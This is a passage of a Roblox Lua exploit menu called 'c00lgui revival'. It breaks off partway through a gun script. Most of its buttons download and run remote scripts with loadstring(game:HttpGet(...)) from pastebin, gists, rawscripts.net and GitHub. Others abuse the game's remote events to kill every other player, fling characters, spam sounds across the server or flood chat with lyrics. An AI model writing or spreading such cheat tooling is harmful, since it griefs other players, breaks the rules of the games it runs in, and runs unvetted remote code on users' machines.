creds.BorderColor3 = Color3.fromRGB(255, 0, 0)
creds.BorderSizePixel = 3
creds.Position = UDim2.new(0.5, 0, 0, 0)
creds.Size = UDim2.new(0, 149, 0, 306)

credits.Name = "credits"
credits.Parent = creds
credits.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
credits.BorderColor3 = Color3.fromRGB(255, 0, 0)
credits.BorderSizePixel = 3
credits.Size = UDim2.new(0, 149, 0, 265)
credits.Font = Enum.Font.SourceSans
credits.Text = "Thank you for using c00lgui revival! \nMore updates coming soon! \n.gg/KkhpkGJdCp "
credits.TextColor3 = Color3.fromRGB(255, 255, 255)
credits.TextSize = 14.000
credits.TextWrapped = true

pgname_4.Name = "pgname"
pgname_4.Parent = page4
pgname_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_4.BorderSizePixel = 3
pgname_4.LayoutOrder = 3
pgname_4.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_4.Size = UDim2.new(0, 300, 0, 40)
pgname_4.ZIndex = 5
pgname_4.Font = Enum.Font.SourceSansBold
pgname_4.Text = "Page 4"
pgname_4.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_4.TextSize = 19.000

-- Scripts:

local function NYNRIT_fake_script() -- cope.LocalScript 
    local script = Instance.new('LocalScript', cope)

    local main = script.Parent.Parent.main
    local settings = script.Parent.Parent.settings
    local close = script.Parent

    close.MouseButton1Down:connect(function()
    if close.Text == "Close" then
    main.Visible = false
    settings.Visible = false
    close.Text = "Open"
    elseif close.Text == "Open" then
    main.Visible = true
    settings.Visible = true
    close.Text = "Close"
    end

    end)

end
coroutine.wrap(NYNRIT_fake_script)()
local function VGZZVRN_fake_script() -- fps.fpscheck 
    local script = Instance.new('LocalScript', fps)

    local label = script.Parent

    local RunService = game:GetService("RunService")

    RunService.RenderStepped:Connect(function(frame)
        label.Text = "FPS: "..(math.round(1/frame))
    end)
end
coroutine.wrap(VGZZVRN_fake_script)()
local function IYAH_fake_script() -- size.sizecheck 
    local script = Instance.new('LocalScript', size)

    local label = script.Parent

    local RunService = game:GetService("RunService")

    while true do
        label.Text = "Server Size: "..tostring(game:GetService('Players').NumPlayers)
        wait(.5)
    end
end
coroutine.wrap(IYAH_fake_script)()
local function PDUUVHM_fake_script() -- time.timecheck 
    local script = Instance.new('LocalScript', time)

    local label = script.Parent

    local RunService = game:GetService("RunService")

    while true do
        label.Text = "Server Time: "..tostring(game:GetService('Workspace').DistributedGameTime)
        wait(.5)
    end
end
coroutine.wrap(PDUUVHM_fake_script)()
local function UJXVVWH_fake_script() -- checkrfe.rfecheck 
    local script = Instance.new('LocalScript', checkrfe)

    label = script.Parent

    if game:GetService("SoundService").RespectFilteringEnabled == true then
    label.Text = "RespectFilteringEnabled is on"
    else
    label.Text = "RespectFilteringEnabled is of"
    end
end
coroutine.wrap(UJXVVWH_fake_script)()
local function BVMU_fake_script() -- sbutton.LocalScript 
    local script = Instance.new('LocalScript', sbutton)

    local sbutton = script.Parent
    local addon = script.Parent.Parent


    sbutton.MouseButton1Down:connect(function()
        if sbutton.Text == "<" then
            sbutton.Visible = true
            sbutton.Text = ">"
            addon.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
        else
            sbutton.Visible = true
            sbutton.Text = "<"
            addon.Position = UDim2.new(0.280000001, 3, 0.294999987, 0)
        end
    end)
end
coroutine.wrap(BVMU_fake_script)()
local function YRGW_fake_script() -- left.flipleft 
    local script = Instance.new('LocalScript', left)

    local right = script.Parent
    local one = script.Parent.Parent.page1
    local two = script.Parent.Parent.page2
    local three = script.Parent.Parent.page3
    local four = script.Parent.Parent.page4

    right.MouseButton1Down:connect(function()
        if three.Visible == true then
        one.Visible = false
        two.Visible = true
        three.Visible = false
        four.Visible = false
        elseif four.Visible == true then
        one.Visible = false
        two.Visible = false
        three.Visible = true
        four.Visible = false
        elseif one.Visible == true then
        one.Visible = false
        two.Visible = false
        three.Visible = false
        four.Visible = true
        elseif two.Visible == true then
        one.Visible = true
        two.Visible = false
        three.Visible = false
        four.Visible = false
        end    
    end)

end
coroutine.wrap(YRGW_fake_script)()
local function UBUJB_fake_script() -- right.flipright 
    local script = Instance.new('LocalScript', right)

    local right = script.Parent
    local one = script.Parent.Parent.page1
    local two = script.Parent.Parent.page2
    local three = script.Parent.Parent.page3
    local four = script.Parent.Parent.page4

    right.MouseButton1Down:connect(function()
        if one.Visible == true then
        one.Visible = false
        two.Visible = true
        three.Visible = false
        four.Visible = false
        elseif two.Visible == true then
        one.Visible = false
        two.Visible = false
        three.Visible = true
        four.Visible = false
        elseif three.Visible == true then
        one.Visible = false
        two.Visible = false
        three.Visible = false
        four.Visible = true
        elseif four.Visible == true then
        one.Visible = true
        two.Visible = false
        three.Visible = false
        four.Visible = false
        end    
    end)

end
coroutine.wrap(UBUJB_fake_script)()
local function GQMYFIM_fake_script() -- button.LocalScript 
    local script = Instance.new('LocalScript', button)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local duration = 999999 -- integer only, no decimals
        if game:GetService("SoundService").RespectFilteringEnabled then return end

        local sounds = {}

        for i,v in pairs(Game:GetDescendants()) do
            if v:IsA("Sound")  then
                table.insert(sounds,v)
            end
        end


        local con = Game.DescendantAdded:Connect(function(v)
            if v:IsA("Sound") then
                table.insert(sounds,v)
            end
        end)
        wait(.1)
        local start = math.floor(tick())
        repeat
            for i,v in pairs(sounds) do
                v:Play()
                v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
                task.wait()
            end
        until math.floor(tick()) == start + duration
        con:Disconnect()

        for i,v in pairs(sounds) do
            v:Stop()
        end
    end)
end
coroutine.wrap(GQMYFIM_fake_script)()
local function OEFDAQK_fake_script() -- button_2.LocalScript 
    local script = Instance.new('LocalScript', button_2)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
    --[[
        Thomas The Dank Engine:
                                By: KrystalTeam
                                Features: Being a dank engine that kill people
                                Version: 1.0.0.2
    --]]

        local p = game.Players.LocalPlayer.Character
        local weld = Instance.new("Weld",p.Torso)
        weld.Part0 = p.Torso

        local train = Instance.new("Part",p.Torso)
        train.Anchored = true
        train.CanCollide = false
        train.Size = Vector3.new(3,2,6)
        train.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
        weld.Part1 = train
        weld.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(180),0)
        train.Anchored = false
        local TrainMesh = Instance.new("SpecialMesh",train)
        TrainMesh.MeshType = Enum.MeshType.FileMesh
        TrainMesh.Scale = Vector3.new(0.020,0.020,0.015)
        TrainMesh.MeshId = "rbxassetid://431017802"
        TrainMesh.TextureId = "rbxassetid://431017809"


        local weld2 = Instance.new("Weld",p.Torso)
        weld2.Part0 = p.Torso
        local Smoke = Instance.new("Part",p.Torso)
        Smoke.Anchored = true
        Smoke.CanCollide = false
        Smoke.Size = Vector3.new(1,1,1)
        Smoke.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
        weld2.Part1 = Smoke
        weld2.C1 = CFrame.new(0,-4,3.5)-- * CFrame.Angles(0,math.rad(180),0)
        Smoke.Anchored = false
        Smoke.Transparency = 1;

        local Particle = Instance.new("ParticleEmitter",Smoke)
        Particle.Rate = 50;
        Particle.Speed = NumberRange.new(30,60);
        Particle.VelocitySpread = 4;
        Particle.Texture = "rbxassetid://133619974"

        local Light = Instance.new("SpotLight",train)
        Light.Angle = 45;
        Light.Brightness = 100;
        Light.Face = Enum.NormalId.Back;
        Light.Range = 30;

        spawn(function()
            while p.Humanoid.Health ~= 0 do
                p.Humanoid.WalkSpeed = 60;
                wait();
            end
        end)


        for i,v in pairs(p:GetChildren()) do
            if v:IsA("Part") then
                v.Transparency = 1;
            elseif v:IsA("Hat") then
                v:Destroy()
            elseif v:IsA("Model") then
                v:Destroy()
            end
        end

        local function SFX(id) local s=Instance.new("Sound",p.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
        local Debounce = false
        train.Touched:connect(function(p)
            if Debounce == false then
                Debounce = true
                if p.Parent then
                    if p.Parent:IsA("Model") then
                        if game.Players:FindFirstChild(p.Parent.Name) then
                            if p.Parent.Name ~= game.Players.LocalPlayer.Name then
                                spawn(function()
                                    for i, plr in pairs(game.Players:GetChildren()) do
                                        if plr.Name ~= game.Players.LocalPlayer.Name then
                                            for i = 1, 10 do
                                                game.ReplicatedStorage.meleeEvent:FireServer(plr)
                                            end
                                        end
                                    end
                                end)
                                local Whistle = SFX(475073913)
                                Whistle:Play()
                            end
                        end
                    end
                end
                wait()
                Debounce = false
            end
        end)

        local Music = SFX(190819252)
        Music.Looped = true;
        wait(1)
        Music:Play();

        ---------------------------------------------------------------------------------

        if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
            hiddenfling = true
        else
            hiddenfling = true
            detection = Instance.new("Decal")
            detection.Name = "juisdfj0i32i0eidsuf0iok"
            detection.Parent = game:GetService("ReplicatedStorage")
            local function fling()
                local hrp, c, vel, movel = nil, nil, nil, 0.1
                while true do
                    game:GetService("RunService").Heartbeat:Wait()
                    if hiddenfling then
                        local lp = game.Players.LocalPlayer
                        while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
                            game:GetService("RunService").Heartbeat:Wait()
                            c = lp.Character
                            hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
                        end
                        if hiddenfling then
                            vel = hrp.Velocity
                            hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
                            game:GetService("RunService").RenderStepped:Wait()
                            if c and c.Parent and hrp and hrp.Parent then
                                hrp.Velocity = vel
                            end
                            game:GetService("RunService").Stepped:Wait()
                            if c and c.Parent and hrp and hrp.Parent then
                                hrp.Velocity = vel + Vector3.new(0, movel, 0)
                                movel = movel * -1
                            end
                        end
                    end
                end
            end

            fling()
        end
    end)
end
coroutine.wrap(OEFDAQK_fake_script)()
local function WSOLZXR_fake_script() -- button_3.LocalScript 
    local script = Instance.new('LocalScript', button_3)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://pastebin.com/raw/KdVq9EHW",true))()
    end)
end
coroutine.wrap(WSOLZXR_fake_script)()
local function KORGM_fake_script() -- button_4.LocalScript 
    local script = Instance.new('LocalScript', button_4)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        -- Lyrics
        local lyrics = {

            "Spooky Scary Skeletons",
            "Send shivers down your spine",
            "Shrieking skulls will shock your soul",
            "Seal your doom tonight",
            "Spooky Scary Skeletons",
            "Speak with such a screech",
            "You'll shake and shudder in surprise",
            "When you hear these zombies shriek",
            "We're so sorry skeletons",
            "You're so misunderstood",
            "You only want to socialize",
            "But i don't think we should",
            "Cause spooky scary skeletons",
            "Shout startling shrilly screams",
            "They'll sneak from their sarcophagus",
            "And just won't leave you be.",
        }

        -- Chat function
        local function singLyrics()
            for _, lyric in ipairs(lyrics) do
                game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(lyric, "All")
                wait(2.5) -- Adjust the delay as desired
            end
        end

        -- Start singing
        singLyrics()
    end)
end
coroutine.wrap(KORGM_fake_script)()
local function ZTWGZ_fake_script() -- button_5.LocalScript 
    local script = Instance.new('LocalScript', button_5)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Nameless-Admin-FE-11243"))();
    end)
end
coroutine.wrap(ZTWGZ_fake_script)()
local function PKXRUA_fake_script() -- button_6.LocalScript 
    local script = Instance.new('LocalScript', button_6)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
    end)
end
coroutine.wrap(PKXRUA_fake_script)()
local function EKIXV_fake_script() -- button_7.LocalScript 
    local script = Instance.new('LocalScript', button_7)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/spamer/main/spamererm'))()
    end)
end
coroutine.wrap(EKIXV_fake_script)()
local function TBTPQ_fake_script() -- button_8.LocalScript 
    local script = Instance.new('LocalScript', button_8)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet('https://rawscripts.net/raw/OpFinality_590'))()
    end)
end
coroutine.wrap(TBTPQ_fake_script)()
local function XHAG_fake_script() -- button_9.LocalScript 
    local script = Instance.new('LocalScript', button_9)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/Illuminati%2520Laser%2520Fling",true))()
    end)
end
coroutine.wrap(XHAG_fake_script)()
local function DXFTXQ_fake_script() -- button_10.LocalScript 
    local script = Instance.new('LocalScript', button_10)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/ScriptHub"))()
    end)
end
coroutine.wrap(DXFTXQ_fake_script)()
local function FJHJF_fake_script() -- button_11.LocalScript 
    local script = Instance.new('LocalScript', button_11)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/c1c6ad86b743343aca463a0963c028a5/raw/cb40c5b77119cb52b60428dc3e112a4b479fc258/qipu's%2520Executor%2520(fixed)"))()
    end)
end
coroutine.wrap(FJHJF_fake_script)()
local function RTGO_fake_script() -- button_12.LocalScript 
    local script = Instance.new('LocalScript', button_12)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/7c4d164bd1a2726d5e352547c3f98052/raw/77332837d2d6669f50b191a5ecc90da7f6e6690e/Energize"))()
    end)
end
coroutine.wrap(RTGO_fake_script)()
local function WXHMD_fake_script() -- button_13.LocalScript 
    local script = Instance.new('LocalScript', button_13)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        wait(0.001); 

        --------------------------------------------------------------------------------------

        _clear=function()
            local c={char;bag;gui;};
            for i=1,#c do
                local c=c[i]:children();
                for i=1,#c do
                    if(c[i].Name==name)then
                        c[i].Parent=nil;
                    end;
                end;
            end;
            local n=name..user.Name;
            local c=workspace:children();
            for i=1,#c do
                if(c[i].Name==n)then
                    c[i].Parent=nil;
                end;
            end;
        end;

        _valid_key=function(object,key)
            return object[key],key;
        end;

        _new=function(class)
            return function(props)
                if(type(list_base_props)=='table')then
                    for i,v in next,list_base_props do
                        if(props[i]==nil)then
                            props[i]=v;
                        end;
                    end;
                end;

                local object=class;

                if(type(class)=='string')then
                    object=Instance.new(class:sub(1,1):upper()..class:sub(2));
                end;

                local parent=props[1];
                props[1]=nil;

                for i,v in next,props do
                    local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
                    if(not load)then
                        load,res,key=pcall(_valid_key,object,i);
                    end;

                    if(key)then
                        t=type(res);
                        s=tostring(res);
                        if(t=='userdata'and s=='Signal '..key)then
                            if(type(v)=='table')then
                                for i=1,#v do
                                    res:connect(v[i]);
                                end;
                            else
                                res:connect(v);
                            end;
                        else
                            object[key]=v;
                        end;
                    end;
                end;

                if(parent)then
                    object.Parent=parent;
                end;

                return object;
            end;
        end;

        _RGB=function(r,g,b)
            return Color3.new(r/255,g/255,b/255);
        end;

        _copy=function(o)
            local def=o.archivable;
            o.archivable=true;
            local c=o:clone();
            o.archivable=def;
            return c;
        end;

        _hum=function(char)
            local hum=char:findFirstChild'Humanoid';
            if(not hum or hum.className~='Humanoid')then
                local c=char:children();
                for i=1,#c do
                    if(c[i].className=='Humanoid')then
                        return c[i];
                    end;
                end;
            else
                return hum;
            end;
        end;

        _hum_tag=function(hum)
            local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
            c.Name='creator';
            c.Value=user;
            if(hum.Health==0 and not hum:findFirstChild'killed')then
                Instance.new('BoolValue',hum).Name='killed';
                bullets.clip=bullets.clip+10;
            end;
        end;

        _hum_dam=function(hum,dam,percent)
            hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
            if(hum.Health<=hum.MaxHealth*0.1)then
                _hum_tag(hum);
            end;
        end;

        _ray=function(v0,v1,i)
            local mag=(v0-v1).magnitude;
            local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));

            return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
        end;

        _must=function(v0,v1,i)
            local hit,pos=_ray(v0,v1,i);
            return not hit and mouse.target or hit,pos;
        end;

        _cframe=function(x,y,z,r0,r1,r2)
            return CFrame.Angles(
                math.rad(r0 or 0),
                math.rad(r1 or 0),
                math.rad(r2 or 0)
            )*CFrame.new(x,y,z);
        end;

        _update=function()
            if(bool_active and not screen.Parent)then
                screen.Parent=gui;
            elseif(not bool_active and screen.Parent)then
                screen.Parent=nil;
            end;
        end;

        _light=function(v0,v1)
            local mag=(v0-v1).magnitude;
            local len=math.random(2,7);
            len=len>mag/2 and mag/2 or len;

            local light=_new'part'{
                cFrame=CFrame.new(v0,v1);
                size=Vector3.new(1,1,1);
                color=_RGB(255,255,0);
                anchored=true;
                inv;
            };
            _new'blockMesh'{
                scale=Vector3.new(0.2,0.2,len);
                offset=Vector3.new(0,0,-len/2);
                light;
            };

            local bb=_new'billboardGui'{
                size=UDim2.new(2,0,2,0);
                adornee=light;
                light;
            };
            _new'imageLabel'{
                image=url:format(109101526);
                backgroundTransparency=1;
                size=UDim2.new(1,0,1,0);
                bb;
            };

            _rem(light,0.15);
        end;

        _rem=function(object,del)
            if(del)then
                delay(del,function()
                    if(object.Parent)then
                        object.Parent=nil;
                    end;
                end);
            else
                pcall(function()
                    if(object.Parent)then
                        object.Parent=nil;
                    end;
                end);
            end;
        end;

        _blood=function(pos,count)
            for i=1,count do
                local p=_new'part'{
                    rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
                    position=pos+Vector3.new(math.random(),math.random(),math.random());
                    velocity=Vector3.new(math.random(),math.random(),math.random())*50;
                    size=Vector3.new(math.random(),math.random(),math.random())/3;
                    color=_RGB(255,0,0);
                    transparency=0.5;
                    canCollide=true;
                    bottomSurface=0;
                    topSurface=0;
                    formFactor=3;
                    locked=true;
                    inv;
                };
                delay(5,function()
                    p.Parent=nil;
                end);
            end;
        end;

        _make_hue=function()
            h_hue=_new'part'{
                size=Vector3.new(0.25,1.8,0.35);
                color=_RGB(100,100,100);
                formFactor=3;
                name='hue';
                handle;
            };
            hh_weld=_new'weld'{
                c1=_cframe(0,0.5,0);
                part0=handle;
                part1=h_hue;
                handle;
            };
        end;

        _shot=function(v0,v1)
            if(not time_left)then
                time_left=0;
            end;
            if(time_left>time())then
                return nil;
            else
                time_left=time()+math.random(1,10)/100;
            end;

            if(bullets.current<1)then
                local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
                    soundId='rbxasset://sounds/SWITCH3.wav';
                    name='tick_sound';
                    volume=0.2;
                    pitch=2;
                    head;
                };
                tick_sound:play();
                if(bullets.clip>0)then
                    time_left=time()+2;
                    h_hue:breakJoints();
                    h_hue.CanCollide=true;
                    h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
                    _rem(h_hue,10);
                    delay(1.9,function()
                        _make_hue();
                        local got=(bullets.clip>bullets.maximum and 
                            bullets.maximum or 
                            bullets.clip)-bullets.current;

                        bullets.clip=bullets.clip-got;
                        bullets.current=bullets.current+got;
                    end);
                end;
                return nil;
            else
                bullets.current=bullets.current-1;

                h_weld.C1=_cframe(0,0.75,0,
                    -math.random(1000,1100)/10,180,0);
                d_weld.C1=_cframe(0,-0.25,0.3);

                lightstuff.Visible=true;
                delay(0.1,function()
                    lightstuff.Visible=false;
                end);

                _rem(_new'part'{
                    velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
                    cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
                    size=Vector3.new(0.1,0.1,0.4);
                    color=_RGB(200,200,0);
                    material='Slate';
                    canCollide=true;
                    formFactor=3;
                    inv;
                },5);
                delay(0.1,function()
                    d_weld.C1=_cframe(0,-0.25,0);
                    if(bool_active)then
                        h_weld.C1=h_weld_cf_active;
                    end;
                end)
            end;

            local hit,pos=_must(v0,v1,char);

            shot_sound:play();

            _light(v0,v1);

            if(not hit)then return nil;end;

            if(hit.Parent.className=='Hat')then
                hit:breakJoints();
                hit.CanCollide=true;
                hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
                hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
            else
                local hum=_hum(hit.Parent);
                if(not hum)then
                    if(hit.Anchored==false and hit.Size.magnitude<4)then

                    end;
                else

                    _blood(pos,math.random(3,6));
                    hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
                    if(hit.Name=='Head')then

                        _blood(pos,math.random(3,6));
                        delay(0.001,function()
                            _new(workspace:FindFirstChild'head_shot'or'sound'){
                                pitch=math.random(70,100)*0.01;
                                soundId=url:format(1876552);
                                name='head_shot';
                                workspace;
                            }:play();
                        end);
                        _hum_tag(hum);
                        _rem(_new'part'{
                            cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
                            size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
                            color=torso.Color;
                            transparency=0.5;
                            canCollide=false;
                            bottomSurface=0;
                            anchored=true;
                            formFactor=3;
                            topSurface=0;
                            inv;
                        },30);
                        hit.Parent=nil;
                        for b=0,1 do
                            for a=0,1 do
                                for i=0,1 do
                                    _rem(_new'part'{
                                        velocity=CFrame.new(v0,pos).lookVector*20;
                                        cFrame=hit.CFrame*CFrame.new(i,-b,a);
                                        size=Vector3.new(0.5,0.5,0.5);
                                        color=_RGB(255,255,255);
                                        bottomSurface=0;
                                        canCollide=true;
                                        transparency=0;
                                        formFactor=3;
                                        topSurface=0;
                                        hum;
                                    },30);
                                end;
                            end;
                        end;
                    end;
                end;
            end;
        end;

        ----------------------------------------------------------------------------------------

        _cf_select=function(mouse)
            mouse.Icon=url:format(109111387);--108999296
            bool_active=true;

            local arm=char:findFirstChild'Right Arm';
            local weld=torso:findFirstChild'Right Shoulder';
            if(arm and weld)then
                h_weld.Part0=arm;
                h_weld.C1=h_weld_cf_active;

                weld.Part1=nil;
                weld.Part0=nil;

                weld=_new(torso:findFirstChild'right_arml'or'weld'){
                    name='right_arml';
                    part0=torso;
                    part1=arm;
                    torso;
                };

                arml=(arml or 0)+1;
                local alv=arml;
                local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
                gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
                gyro.P=30000;
                gyro.D=1000;
                gyro.Name='p_gyro';
                repeat
                    local pos=mouse.hit.p;
                    local val,valp,p0,p1,p2,hitpos,cj,c0,c1;

                    val=-math.pi*0.5;
                    valp=val*-1;
                    p0=torso.CFrame;
                    p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
                    p1=p0+((p0.p-pos).unit*-2);
                    p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
                    hitpos=torso.Position;
                    cj=CFrame.new(hitpos);
                    c0=torso.CFrame:inverse()*cj;
                    c1=p2:inverse()*cj;
                    weld.C0=c0;
                    weld.C1=c1;

                    gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));

                    wait(0.001);
                until arml~=alv;
                gyro.Parent=nil;
            end;
        end;

        _cf_deselect=function()
            bool_active=false;
            arml=(arml or 0)+1;
            loop_shot=(loop_shot or 0)+1;

            h_weld.Part0=torso;
            h_weld.C1=h_weld_cf_inactive;

            local weld=torso:findFirstChild'right_arml';
            if(weld)then
                weld.Part1=nil;
                weld.Part0=nil;
            end;
            local arm=char:findFirstChild'Right Arm';
            local weld=torso:findFirstChild'Right Shoulder';
            if(arm and weld)then
                weld.Part0=torso;
                weld.Part1=arm;
            end;
        end;

        _cf_mouse=function(event,fun)
            mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
                if(bool_active)then
                    fun(...);
                end;
            end);
        end;

        ----------------------------------------------------------------------------------------

        do
            local main=getfenv(0);
            local c=game:children();
            local check=function(v)
                if(v.className~=''and v.className~='Instance'and game:service(v.className))then
                    main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
                end;
            end;
            for i=1,#c do
                pcall(check,c[i]);
            end;
        end;

        ----------------------------------------------------------------------------------------

        bullets={
            maximum=51111111111111111111111111110;
            current=511111111111111111111111111111110;
            clip=501111111111111111111111111111111*4;
        };

        list_base_props={
            backgroundColor3=_RGB(0,0,0);
            textColor3=_RGB(200,200,200);
            borderSizePixel=0;
            color=_RGB(0,0,0);
            archivable=false;
            canCollide=false;
            bottomSurface=0;
            topSurface=0;
            formFactor=0;
            locked=true;
        };

        ----------------------------------------------------------------------------------------

        user=players.localPlayer;
        mouse=user:getMouse();
        char=user.Character;
        gui=user.PlayerGui;
        bag=user.Backpack;
        torso=char.Torso;
        head=char.Head;
        hum=_hum(char);

        url='rbxassetid://%d';
        name='dev-uzi';

        h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
            0,90,-70);
        h_weld_cf_active=_cframe(0,0.75,0,
            -110,180,0);

        assert(hum,'humanoid is not found');

        ----------------------------------------------------------------------------------------

        _clear();

        ----------------------------------------------------------------------------------------

        _cf_mouse('button1Down',function()
            loop_shot=(loop_shot or 0)+1;
            local vers=loop_shot;
            local step=runService.Stepped;
            repeat
                _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
                step:wait();--wait(0.001);
            until vers~=loop_shot;
        end);

        _cf_mouse('button1Up',function()
            loop_shot=(loop_shot or 0)+1;
        end);

        _cf_mouse('move',function()
            cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
        end);

        _cf_mouse('keyDown',function(k)
            if(k=='r')then
                if(bullets.clip>0 and time_left<=time())then
                    local got=(bullets.clip>bullets.maximum and 
                        bullets.maximum or 
                        bullets.clip)-bullets.current;

                    bullets.clip=bullets.clip-got;
                    bullets.current=bullets.current+got;
                    if(got~=0)then
                        time_left=time()+2;
                    end;
                end;
            end;
        end);

        ----------------------------------------------------------------------------------------

        screen=_new'screenGui'{
            name=name;
        };

        cross_f=_new'frame'{
            size=UDim2.new(0,21,0,21);
            backgroundTransparency=1;
            screen;
        };

        for i=0,1 do
            _new'frame'{
                position=UDim2.new(0,13*i,0,11);
                size=UDim2.new(0,10,0,1);
                cross_f;
            };
        end;

        for i=0,1 do
            _new'frame'{
                position=UDim2.new(0,11,0,13*i);
                size=UDim2.new(0,1,0,10);
                cross_f;
            };
        end;

        ----------------------------------------------------------------------------------------

        shot_sound=_new(head:findFirstChild'2920959'or'sound'){
            soundId=url:format(2920959);
            pitch=1.4;
            head;
        };
        if(shot_sound.Name~='2920959')then
            shot_sound.Name='2920959';
            shot_sound:play();
        end;

        bin=_new'hopperBin'{
            deselected=_cf_deselect;
            selected=_cf_select;
            name=name;
            bag;
        };

        inv=_new'model'{
            name=name;
            char;
        };

        handle=_new'part'{
            size=Vector3.new(0.3,1.3,0.4);
            color=_RGB(140,140,140);
            name='handle';
            formFactor=3;
            inv;
            touched=function(hit)
                if(hit.Parent.className=='Model')then
                    local hum=_hum(hit.Parent);
                    if(hum~=nil)then
                        _hum_dam(hum,handle.Velocity.magnitude);
                    end;
                end;
            end;
        };
        h_weld=_new'weld'{
            c1=h_weld_cf_inactive;
            part1=handle;
            part0=torso;
            handle;
        };
        _make_hue();

        h_part=_new'part'{
            size=Vector3.new(0.4,0.4,1.4);
            color=_RGB(140,140,140);
            name='handle';
            formFactor=3;
            handle;
        };
        hp_weld=_new'weld'{
            c1=_cframe(0,-1.3/2,-0.3,
                20,0,0);
            part0=handle;
            part1=h_part;
            handle;
        };

        drag=_new'part'{
            size=Vector3.new(0.5,0.45,1.5);
            color=_RGB(100,100,100);
            name='handle';
            formFactor=3;
            handle;
        };
        d_weld=_new'weld'{
            c1=_cframe(0,-0.25,0);
            part0=h_part;
            part1=drag;
            handle;
        };

        tube=_new'part'{
            size=Vector3.new(0.2,0.2,1.5);
            color=_RGB(0,0,0);
            name='handle';
            formFactor=3;
            handle;
        };
        t_weld=_new'weld'{
            c1=_cframe(0,-0.3,-0.1);
            part0=h_part;
            part1=tube;
            handle;
        };

        bullets_label=_new'textLabel'{
            textStrokeColor3=_RGB(0,0,0);
            textColor3=_RGB(200,200,200);
            textStrokeTransparency=0;
            backgroundTransparency=1;
            fontSize=5;
            screen;
        };

        lightstuff=_new'frame'{
            backgroundColor3=_RGB(255,255,255);
            position=UDim2.new(0,0,0,-1);
            backgroundTransparency=0.5;
            size=UDim2.new(1,0,1,1);
            borderSizePixel=0;
            visible=false;
            screen;
        };

        coroutine.wrap(function()
            local red,white,green;
            repeat
                if(screen.Parent)then
                    if(not green and bullets.current==bullets.maximum)then
                        green=true;
                        bullets_label.TextColor3=_RGB(0,200,0);
                    elseif(not red and bullets.current==0)then
                        red=true;
                        bullets_label.TextColor3=_RGB(200,0,0);
                    elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
                        bullets_label.TextColor3=_RGB(200,200,200);
                        green=false;
                        red=false;
                    end;
                    bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
